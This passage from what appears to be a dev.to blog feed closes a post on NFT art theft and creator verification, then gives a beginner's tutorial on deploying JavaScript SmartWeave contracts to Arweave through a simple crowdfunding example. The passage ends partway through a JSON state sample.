&lt;li&gt;Sending fake air-drops on Discord.&lt;/li&gt;
&lt;li&gt;Malicious NFT marketplaces that hijacks your wallet.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The problems take various forms, but I realised the root cause of all the problems is that:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;There isn't a trusted mapping that could establish the relationship between the art and the creator.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Like I mentioned before, humans cant draw conclusions from the wallet address nor the NFT token address. To our perception, we buy the art solely based on the legitimacy of the creator.&lt;/p&gt;

&lt;h2&gt;
  
  
  Present solutions
&lt;/h2&gt;

&lt;p&gt;After researching a bit, I found these measures at place that sort of solves the problem.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. OpenSea's Portfolio
&lt;/h3&gt;

&lt;p&gt;OpenSea is one of the largest and most used NFT marketplaces on the Ethereum chain. Artists who have been part of the ecosystem enjoy its benefits of having a verified Profile and all their collections at one place.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc9t877iojo1c9hxserus.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc9t877iojo1c9hxserus.png" alt=" " width="800" height="333"&gt;&lt;/a&gt;&lt;br&gt;
In the above example Artist page, one can see all the useful statistics like traded volume, number of items..etc&lt;br&gt;
This plays a crucial role in identify the legitimacy of the artist. One can also notice the link to their Twitter account, that adds an additional set of trust. &lt;br&gt;
Honestly, I appreciate the OpenSea team for putting in this much effort. &lt;br&gt;
But I got a few problems with OpenSea.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;OpenSea keeps adding all the features that pulls artists together and the best case we got is they become the next monopoly like Google imposing all the necessary features under their Premium feature. Thats just the best case :)
For NFTs which is supposed to be "decentralised", this future feels like we are the mercy of big corps like this. Now I know Moxie put up some real valid points about this that people dont want to run their servers. So definitely they are not going to build their own security systems. But there just gotta be a better way.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Deviant Art
&lt;/h3&gt;

&lt;p&gt;Deviant Art is another well-known marketplace. They have been in the game even before NFTs were a thing. And they have boarded the NFT wagon once it occurred. I found this article with the amazing title &lt;a href="https://www.deviantart.com/team/journal/Calling-All-Creator-Platforms-to-Fight-Art-Theft-901238948" rel="noopener noreferrer"&gt;Calling All Creator Platforms to Fight Art Theft&lt;/a&gt;. Even before reading through it, I had a good feeling that this is going to be something different. But, it wasn't :/&lt;br&gt;
It was pretty good though, they've implemented a realtime AI engine that goes through all of the uploaded art and detects if there is a similarity to an existing art. If there is a potential spoof, it sends an email to the creator. They call is "DeviantArt Protect". I also read that they are working with other marketplaces to integrate this feature.&lt;br&gt;
Like I said, its pretty good. It's the best in the industry. &lt;/p&gt;

&lt;p&gt;Again the problem is that it is only to users who have their Core Membership.&lt;/p&gt;

&lt;p&gt;I very well understand individuals can't build such tools pouring in millions of dollars and perform full time like their R&amp;amp;D. That's why Youtube is so powerful, they have the most robust Digital fingerprinting technology. It's called Content ID. This is used on Youtube to identify copyrighted content very quick. &lt;/p&gt;

&lt;p&gt;I certainly believe the purpose of decentralisation is to take what the big companies do at scale and decentralise it. If the nodes can solve cryptographic nonce to commit a transaction, they definitely can co-ordinate and do the same compute. Web3 has a long way to go to become mainstream but if the smart engineers keep working around these fundamental problems rather than trying a make a quick buck, we can get there sooner.&lt;/p&gt;

&lt;p&gt;A lot of people probably dont care about this. Others might view them as rants, I won't blame you. Even I feel that way sometimes...&lt;/p&gt;

</description>
      <category>web3</category>
      <category>nft</category>
      <category>digitalart</category>
      <category>hack</category>
    </item>
    <item>
      <title>Beginner's guide to deploy smart contract with an example</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Wed, 03 Nov 2021 09:31:53 +0000</pubDate>
      <link>https://dev.to/harishteens/beginners-guide-to-deploy-smart-contract-with-example-4ac0</link>
      <guid>https://dev.to/harishteens/beginners-guide-to-deploy-smart-contract-with-example-4ac0</guid>
      <description>&lt;p&gt;This guide tries to explain how to write and deploy smart contracts to Arweave using Javascript.&lt;/p&gt;

&lt;h2&gt;
  
  
  Table Of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Fundamentals&lt;/li&gt;
&lt;li&gt;PreRequisites&lt;/li&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;Setting up inital state&lt;/li&gt;
&lt;li&gt;Updating state&lt;/li&gt;
&lt;li&gt;Deployment&lt;/li&gt;
&lt;li&gt;Interacting with the contract&lt;/li&gt;
&lt;li&gt;Summary&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Fundamentals &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;h4&gt;
  
  
  What is a smart contract?
&lt;/h4&gt;

&lt;p&gt;Smart contracts are digital substitutes of real world contracts. Once its coded and pushed to the chain, its immuatable, hence cannot be changed!&lt;/p&gt;

&lt;h4&gt;
  
  
  How to write one?
&lt;/h4&gt;

&lt;p&gt;There are plenty of networks out there. I deployed my contract to &lt;a href="https://www.arweave.org/" rel="noopener noreferrer"&gt;Arweave&lt;/a&gt;. Unlike many other networks, the smart contracts on Arweave can be written in JavaScript. The process to write and deploy one is fairly straight forward.&lt;/p&gt;

&lt;h3&gt;
  
  
  PreRequisites &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/ArweaveTeam/arweave-js#npm" rel="noopener noreferrer"&gt;Install Arweave CLI &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ArweaveTeam/SmartWeave#cli-usage" rel="noopener noreferrer"&gt;Install Smartweave CLI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Get &lt;a href="https://docs.arweave.org/info/wallets/arweave-web-extension-wallet#getting-started" rel="noopener noreferrer"&gt;Arweave wallet &lt;/a&gt; or &lt;a href="https://finnie.koii.network/" rel="noopener noreferrer"&gt;Finnie wallet&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Complete the above steps before moving ahead.&lt;/p&gt;

&lt;h3&gt;
  
  
  Introduction &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;There are two steps to deploying Smart Contracts on Arweave once the prerequisites are completed.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Write the smart contracts&lt;/strong&gt;
Go through the &lt;a href="https://github.com/ArweaveTeam/SmartWeave/blob/master/CONTRACT-GUIDE.md" rel="noopener noreferrer"&gt;Contract writing guide&lt;/a&gt; by Arweave Team. It contains an example of &lt;a href="https://github.com/ArweaveTeam/SmartWeave/blob/master/CONTRACT-GUIDE.md#hello-world-contract" rel="noopener noreferrer"&gt;Hello World&lt;/a&gt; that should set your fundamentals straight.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deploy them via CLI&lt;/strong&gt;
Once the contract files are ready. To deploy it via the CLI, you would need to export the private key of your Arweave/Finnie Wallet which you must have created earlier. Here is the &lt;a href="https://github.com/ArweaveTeam/SmartWeave/blob/master/CONTRACT-GUIDE.md#hello-world-contract" rel="noopener noreferrer"&gt;CLI Usage guide&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Setting up initial state &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Please go through the introduction section and explore the attached resources before moving ahead.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Example Contract description&lt;/strong&gt; : Set up a Decentralised marketplace where people can donate to crowdsource fundraiser listings.&lt;/p&gt;

&lt;p&gt;Time to build our Crowdsource App 🥳🥳🥳&lt;/p&gt;

&lt;p&gt;In order to do that, we need two contracts to make it work.&lt;br&gt;&lt;br&gt;
A Collection contract that would contain all the information regarding the listing in its &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople/blob/main/contracts/crowdsource/collection/init_state.json" rel="noopener noreferrer"&gt;state&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Tabs over Spaces&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;description&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;This is my first petition. Please vote this petition to make spaces illegal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;funds&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;raised&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;goal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;records&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;

    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;  
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A Parent Crowdsource contract that would contain references to the above created collection contracts in its &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople/blob/main/contracts/crowdsource/parent%20/init_state.json" rel="noopener noreferrer"&gt;state&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;CrowdSource | PeopleHelpPeople&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;collections&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:{}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Updating state &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;There are two operations that could happen:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Users enlist a new crowdsource collection&lt;/li&gt;
&lt;li&gt;Users donate funds to the collection&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: These actions are basic and preliminary. Since I didnt have much time during the hackathon, this was all I could build. But obviously it could be expanded to make the system more usable and robust.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Enlisting a Collection Contract
&lt;/h4&gt;

&lt;p&gt;Lets take a look at the enlist function on the &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople/blob/main/contracts/crowdsource/parent%20/index.js" rel="noopener noreferrer"&gt;Parent Contract&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;enlist&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listingId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`PetitionId cant be null`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hasOwnProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listingId&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`PetitionId already exists`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collections&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listingId&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Invalid input&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The enlist function performs the essential checks firstly, then adds the reference to the collections object of the state. This serves as a means to keep track of all the crowdsource contracts on the chain.&lt;/p&gt;

&lt;p&gt;After enlisting a collection contract, the parent contract state should like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;CrowdSource | PeopleHelpPeople&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;collections&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Ji6MP-Wt_LYk6yaTsxEnhlpbRpAu08248PUTxnp2qOU&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Donating to a Collection Contract
&lt;/h4&gt;

&lt;p&gt;Once the collection is enlisted, users could transfer funds to the collection. Feel free to use any wallet services to transfer tokens. But make sure you got the correct address on the owner field.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Since I used Finnie wallet, I put my Finnie address inside the owner field.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here is the &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople/blob/main/contracts/crowdsource/collection/index.js" rel="noopener noreferrer"&gt;Collection Contract&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;donate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;donorId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`DonorId cant be null`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`amount cant be null`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;number&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`amount must be a number`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;funds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;records&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;donorId&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;funds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;raised&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Invalid input&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After performing essential checks, the contracts state is updated with the donor payment ID(address) and the amount of funds they have contributed.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The default currency is assumed to be KOII. Again a place for improvement. To support various currencies, currency field could be added to the record.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is how the collection contract would look like once users have donated some funds.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Tabs over Spaces&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;description&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;This is my first petition. Please vote this petition to make spaces illegal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
